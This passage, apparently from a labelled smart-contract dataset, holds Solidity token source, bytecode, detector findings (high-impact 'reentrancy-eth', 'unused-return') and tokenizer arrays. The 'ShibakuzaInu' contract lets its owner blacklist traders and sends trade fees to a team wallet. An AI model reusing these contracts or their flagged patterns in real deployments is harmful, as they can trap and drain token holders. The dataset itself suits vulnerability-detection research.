tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610321578063c3c8cd8014610341578063c9567bf914610356578063cfe81ba01461036b578063dd62ed3e1461038b57600080fd5b8063715018a614610276578063842b7c081461028b5780638da5cb5b146102ab57806395d89b41146102d3578063a9059cbb1461030157600080fd5b8063273123b7116100e7578063273123b7146101e3578063313ce567146102055780635932ead1146102215780636fc3eaec1461024157806370a082311461025657600080fd5b806306fdde0314610124578063095ea7b31461016a57806318160ddd1461019a57806323b872dd146101c357600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600b81526a159088105c1c1c9bdd995960aa1b60208201525b604051610161919061187d565b60405180910390f35b34801561017657600080fd5b5061018a610185366004611704565b6103d1565b6040519015158152602001610161565b3480156101a657600080fd5b506b033b2e3c9fd0803ce80000005b604051908152602001610161565b3480156101cf57600080fd5b5061018a6101de3660046116c3565b6103e8565b3480156101ef57600080fd5b506102036101fe366004611650565b610451565b005b34801561021157600080fd5b5060405160098152602001610161565b34801561022d57600080fd5b5061020361023c3660046117fc565b6104a5565b34801561024d57600080fd5b506102036104ed565b34801561026257600080fd5b506101b5610271366004611650565b61051a565b34801561028257600080fd5b5061020361053c565b34801561029757600080fd5b506102036102a6366004611836565b6105b0565b3480156102b757600080fd5b506000546040516001600160a01b039091168152602001610161565b3480156102df57600080fd5b50604080518082019091526005815264056425249560dc1b6020820152610154565b34801561030d57600080fd5b5061018a61031c366004611704565b610607565b34801561032d57600080fd5b5061020361033c366004611730565b610614565b34801561034d57600080fd5b506102036106aa565b34801561036257600080fd5b506102036106e0565b34801561037757600080fd5b50610203610386366004611836565b610aa9565b34801561039757600080fd5b506101b56103a636600461168a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103de338484610b00565b5060015b92915050565b60006103f5848484610c24565b610447843361044285604051806060016040528060288152602001611a69602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f07565b610b00565b5060019392505050565b6000546001600160a01b031633146104845760405162461bcd60e51b815260040161047b906118d2565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161047b906118d2565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050d57600080fd5b4761051781610f41565b50565b6001600160a01b0381166000908152600260205260408120546103e290610fc6565b6000546001600160a01b031633146105665760405162461bcd60e51b815260040161047b906118d2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106025760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600a55565b60006103de338484610c24565b6000546001600160a01b0316331461063e5760405162461bcd60e51b815260040161047b906118d2565b60005b81518110156106a65760016006600084848151811061066257610662611a19565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069e816119e8565b915050610641565b5050565b600c546001600160a01b0316336001600160a01b0316146106ca57600080fd5b60006106d53061051a565b90506105178161104a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161047b906118d2565b600f54600160a01b900460ff16156107645760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161047b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a430826b033b2e3c9fd0803ce8000000610b00565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610815919061166d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610895919061166d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108dd57600080fd5b505af11580156108f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610915919061166d565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306109458161051a565b60008061095a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f6919061184f565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a7157600080fd5b505af1158015610a85573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a69190611819565b600d546001600160a01b0316336001600160a01b031614610afb5760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b604482015260640161047b565b600b55565b6001600160a01b038316610b625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047b565b6001600160a01b038216610bc35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c885760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047b565b6001600160a01b038216610cea5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047b565b60008111610d4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161047b565b6000546001600160a01b03848116911614801590610d7857506000546001600160a01b03838116911614155b15610ef7576001600160a01b03831660009081526006602052604090205460ff16158015610dbf57506001600160a01b03821660009081526006602052604090205460ff16155b610dc857600080fd5b600f546001600160a01b038481169116148015610df35750600e546001600160a01b03838116911614155b8015610e1857506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2d5750600f54600160b81b900460ff165b15610e8a57601054811115610e4157600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6557600080fd5b610e7042601e611978565b6001600160a01b0383166000908152600760205260409020555b6000610e953061051a565b600f54909150600160a81b900460ff16158015610ec05750600f546001600160a01b03858116911614155b8015610ed55750600f54600160b01b900460ff165b15610ef557610ee38161104a565b478015610ef357610ef347610f41565b505b505b610f028383836111d3565b505050565b60008184841115610f2b5760405162461bcd60e51b815260040161047b919061187d565b506000610f3884866119d1565b95945050505050565b600c546001600160a01b03166108fc610f5b8360026111de565b6040518115909202916000818181858888f19350505050158015610f83573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9e8360026111de565b6040518115909202916000818181858888f193505050501580156106a6573d6000803e3d6000fd5b600060085482111561102d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161047b565b6000611037611220565b905061104383826111de565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109257611092611a19565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e657600080fd5b505afa1580156110fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111e919061166d565b8160018151811061113157611131611a19565b6001600160a01b039283166020918202929092010152600e546111579130911684610b00565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611190908590600090869030904290600401611907565b600060405180830381600087803b1580156111aa57600080fd5b505af11580156111be573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f02838383611243565b600061104383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061133a565b600080600061122d611368565b909250905061123c82826111de565b9250505090565b600080600080600080611255876113b0565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611287908761140d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b6908661144f565b6001600160a01b0389166000908152600260205260409020556112d8816114ae565b6112e284836114f8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132791815260200190565b60405180910390a3505050505050505050565b6000818361135b5760405162461bcd60e51b815260040161047b919061187d565b506000610f388486611990565b60085460009081906b033b2e3c9fd0803ce800000061138782826111de565b8210156113a7575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cd8a600a54600b5461151c565b92509250925060006113dd611220565b905060008060006113f08e878787611571565b919e509c509a509598509396509194505050505091939550919395565b600061104383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f07565b60008061145c8385611978565b9050838110156110435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047b565b60006114b8611220565b905060006114c683836115c1565b306000908152600260205260409020549091506114e3908261144f565b30600090815260026020526040902055505050565b600854611505908361140d565b600855600954611515908261144f565b6009555050565b6000808080611536606461153089896115c1565b906111de565b9050600061154960646115308a896115c1565b905060006115618261155b8b8661140d565b9061140d565b9992985090965090945050505050565b600080808061158088866115c1565b9050600061158e88876115c1565b9050600061159c88886115c1565b905060006115ae8261155b868661140d565b939b939a50919850919650505050505050565b6000826115d0575060006103e2565b60006115dc83856119b2565b9050826115e98583611990565b146110435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161047b565b803561164b81611a45565b919050565b60006020828403121561166257600080fd5b813561104381611a45565b60006020828403121561167f57600080fd5b815161104381611a45565b6000806040838503121561169d57600080fd5b82356116a881611a45565b915060208301356116b881611a45565b809150509250929050565b6000806000606084860312156116d857600080fd5b83356116e381611a45565b925060208401356116f381611a45565b929592945050506040919091013590565b6000806040838503121561171757600080fd5b823561172281611a45565b946020939093013593505050565b6000602080838503121561174357600080fd5b823567ffffffffffffffff8082111561175b57600080fd5b818501915085601f83011261176f57600080fd5b81358181111561178157611781611a2f565b8060051b604051601f19603f830116810181811085821117156117a6576117a6611a2f565b604052828152858101935084860182860187018a10156117c557600080fd5b600095505b838610156117ef576117db81611640565b8552600195909501949386019386016117ca565b5098975050505050505050565b60006020828403121561180e57600080fd5b813561104381611a5a565b60006020828403121561182b57600080fd5b815161104381611a5a565b60006020828403121561184857600080fd5b5035919050565b60008060006060848603121561186457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118aa5785810183015185820160400152820161188e565b818111156118bc576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198b5761198b611a03565b500190565b6000826119ad57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119cc576119cc611a03565b500290565b6000828210156119e3576119e3611a03565b500390565b60006000198214156119fc576119fc611a03565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051757600080fd5b801515811461051757600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e7c9eb8cb9240b1e675f76775cd896db7384c68809041668da5a9ab03b7fa29a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 3207, 2629, 2497, 2575, 29292, 21486, 27717, 17134, 2581, 2050, 2581, 2497, 2581, 2581, 2050, 2581, 2581, 18939, 2692, 2549, 2063, 2692, 2063, 26224, 2509, 8586, 2487, 2063, 2581, 2094, 1013, 1008, 1008, 1008, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 1058, 3676, 9397, 26251, 1008, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,481
0x96dfa9a7aa3bb866b7a0edabc8eb52f4f06964ea
//https://t.me/shibakuzainu // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ShibakuzaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "ShibaKuza Inu"; string private constant _symbol = "SHIBAKUZA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x93EecE8b9e385146fdB17CDF209ff2eb7B7F38Da); _feeAddrWallet2 = payable(0x93EecE8b9e385146fdB17CDF209ff2eb7B7F38Da); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 5; _feeAddr2 = 6; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2300000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 100000000 * 10**9; } function blacklistBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb14610350578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063ff872602146103f857610114565b806370a08231146102a6578063715018a6146102e35780638da5cb5b146102fa57806395d89b411461032557610114565b806323b872dd116100dc57806323b872dd146101d5578063273123b714610212578063313ce5671461023b5780635932ead1146102665780636fc3eaec1461028f57610114565b806306fdde0314610119578063089d566c14610144578063095ea7b31461016d57806318160ddd146101aa57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61040f565b60405161013b919061253c565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612718565b61044c565b005b34801561017957600080fd5b50610194600480360381019061018f9190612797565b610576565b6040516101a191906127f2565b60405180910390f35b3480156101b657600080fd5b506101bf610594565b6040516101cc919061281c565b60405180910390f35b3480156101e157600080fd5b506101fc60048036038101906101f79190612837565b6105a4565b60405161020991906127f2565b60405180910390f35b34801561021e57600080fd5b506102396004803603810190610234919061288a565b61067d565b005b34801561024757600080fd5b5061025061076d565b60405161025d91906128d3565b60405180910390f35b34801561027257600080fd5b5061028d6004803603810190610288919061291a565b610776565b005b34801561029b57600080fd5b506102a4610828565b005b3480156102b257600080fd5b506102cd60048036038101906102c8919061288a565b61089a565b6040516102da919061281c565b60405180910390f35b3480156102ef57600080fd5b506102f86108eb565b005b34801561030657600080fd5b5061030f610a3e565b60405161031c9190612956565b60405180910390f35b34801561033157600080fd5b5061033a610a67565b604051610347919061253c565b60405180910390f35b34801561035c57600080fd5b5061037760048036038101906103729190612797565b610aa4565b60405161038491906127f2565b60405180910390f35b34801561039957600080fd5b506103a2610ac2565b005b3480156103b057600080fd5b506103b9610b3c565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612971565b611096565b6040516103ef919061281c565b60405180910390f35b34801561040457600080fd5b5061040d61111d565b005b60606040518060400160405280600d81526020017f53686962614b757a6120496e7500000000000000000000000000000000000000815250905090565b6104546111c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d8906129fd565b60405180910390fd5b60005b81518110156105725760016006600084848151811061050657610505612a1d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056a90612a7b565b9150506104e4565b5050565b600061058a6105836111c3565b84846111cb565b6001905092915050565b600067016345785d8a0000905090565b60006105b1848484611396565b610672846105bd6111c3565b61066d856040518060600160405280602881526020016133db60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106236111c3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199b9092919063ffffffff16565b6111cb565b600190509392505050565b6106856111c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610712576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610709906129fd565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61077e6111c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610802906129fd565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108696111c3565b73ffffffffffffffffffffffffffffffffffffffff161461088957600080fd5b6000479050610897816119ff565b50565b60006108e4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611afa565b9050919050565b6108f36111c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610980576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610977906129fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffff